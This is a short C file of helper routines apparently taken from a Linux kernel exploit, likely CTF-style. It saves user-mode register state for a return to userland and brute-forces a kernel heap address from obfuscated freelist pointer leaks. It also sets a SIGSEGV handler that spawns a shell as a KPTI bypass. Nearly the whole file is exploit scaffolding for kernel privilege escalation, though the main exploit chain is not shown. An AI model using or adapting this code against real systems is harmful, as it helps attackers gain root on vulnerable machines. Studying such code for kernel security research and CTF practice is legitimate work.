1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
| void log_info(const char *name, uint64_t value) {
printf("[INFO] %s = %#lx\n", name, value);
}
void log_error(const char *name, uint64_t value) {
printf("[ERROR] %s = %#lx\n", name, value);
}
void log_success(const char *name, uint64_t value) {
printf("[SUCCESS] %s = %#lx\n", name, value);
}
void die(const char *msg) {
perror(msg);
exit(EXIT_FAILURE);
}
void pin_to_cpu(int cpu) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET((unsigned int)cpu, &mask);
if (sched_setaffinity(cpu, sizeof(mask), &mask) == -1) {
die("sched_setaffinity");
}
}
void real_pause() {
puts("[PAUSED] Press enter to continue...");
getchar();
}
void dump(void *addr, size_t len) {
puts("[BEGIN] dump");
for (size_t i = 0; i < len; i += 8) {
printf("\t [%04ld] : %#lx\n", i, *(uint64_t *)((uint8_t *)addr + i));
}
puts("[END] dump");
}
uint64_t user_cs, user_ss, user_sp, user_rflags;
void save_state() {
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
uint64_t bruteforce_kheap(uint64_t leak1, uint64_t leak2, uint64_t begin) {
if (leak1 == 0 || leak2 == 0 || begin == 0) {
die("Failed to get leaks. Cannot bruteforce_kheap\n");
}
uint64_t end, curr, swab_curr, next, swab_next, expected, calculated;
end = begin + 0xffffffff;
expected = leak1 ^ leak2;
for (curr = begin; curr < end; curr += 0x40) {
swab_curr = __builtin_bswap64(curr);
next = curr + 0x40;
swab_next = __builtin_bswap64(next);
calculated = swab_curr ^ next ^ swab_next;
if (calculated == expected) {
return curr;
}
}
return 0;
}
void setup_sigsegv_handler() {
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = &pop_shell;
sa.sa_flags = SA_SIGINFO;
if (sigaction(SIGSEGV, &sa, NULL) == -1) {
die("failed to setup signal handler for kpti bypass");
}
}
|